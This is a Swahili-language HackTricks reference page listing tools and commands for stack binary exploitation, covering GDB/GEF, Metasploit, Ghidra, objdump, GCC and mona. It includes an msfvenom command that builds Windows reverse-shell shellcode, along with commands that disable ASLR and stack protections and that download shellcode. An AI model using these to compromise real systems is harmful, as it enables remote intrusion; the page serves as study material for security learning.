hacktricks/binary-exploitation/basic-stack-binary-exploitation-methodology/tools

Zana za Kudukua

{% hint style="success" %} Jifunze na zoezi la Kudukua AWS:Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)
Jifunze na zoezi la Kudukua GCP: Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.

{% endhint %}

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

Shellcodes

{% code overflow="wrap" %}

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

{% endcode %}

GDB

Sakinisha

apt-get install gdb

Vigezo

-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process

Maelekezo

run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit

# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process

# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes

# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate

# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP

GEF

Unaweza hiari kutumia hii fork ya GEF ambayo ina maelekezo zaidi ya kuvutia.

help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table

# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Dump memory to file
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

Mbinu

Anwani sawa za GDB

Wakati wa kudebugi GDB itakuwa na anwani kidogo tofauti na zile zinazotumiwa na binary inapotekelezwa. Unaweza kufanya GDB iwe na anwani sawa kwa kufanya yafuatayo:

• unset env LINES
• unset env COLUMNS
• set env _=<njia> Weka njia kamili ya binary
• Tumia mbinu ya kudukua binary kwa kutumia njia kamili
• PWD na OLDPWD lazima ziwe sawa unapotumia GDB na unapodukua binary

Kufuatilia nyuma ili kupata kazi zilizoitwa

Ukiwa na binary iliyolinkwa kistatiki kazi zote zitakuwa sehemu ya binary (na sio maktaba za nje). Katika kesi hii itakuwa ngumu kutambua mwendelezo ambao binary inafuata kwa mfano kuomba mwingiliano wa mtumiaji.
Unaweza kutambua mwendelezo huu kwa kutekeleza binary na gdb hadi utakapoombwa mwingiliano. Kisha, isimamishe kwa kubonyeza CTRL+C na tumia amri ya bt (backtrace) kuona kazi zilizoitwa:

gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

Server ya GDB

gdbserver --multi 0.0.0.0:23947 (katika IDA unahitaji kujaza njia kamili ya faili ya kutekelezwa kwenye mashine ya Linux na kwenye mashine ya Windows)

Ghidra

Pata offset ya stack

Ghidra ni muhimu sana kwa kupata offset kwa kuzidi kwa buffer kutokana na habari kuhusu nafasi ya variables za ndani.
Kwa mfano, katika mfano hapa chini, kuzidi kwa buffer katika local_bc inaonyesha kwamba unahitaji offset ya 0xbc. Zaidi ya hayo, ikiwa local_10 ni kuki ya canary inaonyesha kwamba kuiandika upya kutoka local_bc kuna offset ya 0xac.
Kumbuka kwamba 0x08 ya kwanza ambapo RIP inahifadhiwa inahusiana na RBP.

qtool

qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog

Pata kila opcode inayotekelezwa katika programu.

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> Kupachika bila ulinzi
-o --> Matokeo
-g --> Hifadhi kanuni (GDB itaweza kuiona)
echo 0 > /proc/sys/kernel/randomize_va_space --> Kulegeza ASLR katika linux

Kupachika shellcode:
nasm -f elf assembly.asm --> rudisha ".o"
ld assembly.o -o shellcodeout --> Inatekelezeka

Objdump

-d --> Disassemble sehemu za utekelezaji (angalia opcodes ya shellcode iliyopachikwa, pata ROP Gadgets, pata anwani ya kazi...)
-Mintel --> Sintaksia ya Intel
-t --> Jedwali la alama
-D --> Disassemble zote (anwani ya kipengee tuli)
-s -j .dtors --> sehemu ya dtors
-s -j .got --> sehemu ya got
-D -s -j .plt --> sehemu ya plt iliyopachikwa
-TR --> Uhamishaji
ojdump -t --dynamic-relo ./exec | grep puts --> Anwani ya "puts" ya kuhaririwa katika GOT
objdump -D ./exec | grep "VAR_NAME" --> Anwani au kipengee tuli (hizi hifadhiwa katika sehemu ya DATA).

Core dumps

1. Tekeleza ulimit -c unlimited kabla ya kuanza programu yangu
2. Tekeleza sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t
3. sudo gdb --core=<path/core> --quiet

Zaidi

ldd executable | grep libc.so.6 --> Anwani (ikiwa na ASLR, basi hii hubadilika kila wakati)
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> Mzunguko wa kuona ikiwa anwani inabadilika sana
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> Kielezo cha "system"
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> Kielezo cha "/bin/sh"

strace executable --> Kazi zilizoitwa na utekelezaji
rabin2 -i ejecutable --> Anwani ya kila kazi

Inmunity debugger

!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA

Kudebugi kwa mbali kwenye linux

Ndani ya folda ya IDA unaweza kupata binaries ambazo zinaweza kutumika kudebugi binary kwenye linux. Ili kufanya hivyo hamisha binary linux_server au linux_server64 ndani ya server ya linux na iendeshe ndani ya folda inayohifadhi binary hiyo:

./linux_server64 -Ppass

Kisha, sanidi kielekezi cha kufuatilia: Kielekezi (mbali ya linux) --> Chaguo la Mchakato...:

{% hint style="success" %} Jifunze & zoezi la Udukuzi wa AWS:Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)
Jifunze & zoezi la Udukuzi wa GCP: Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)

Support HackTricks

• Angalia mpango wa michango!
• Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.

{% endhint %}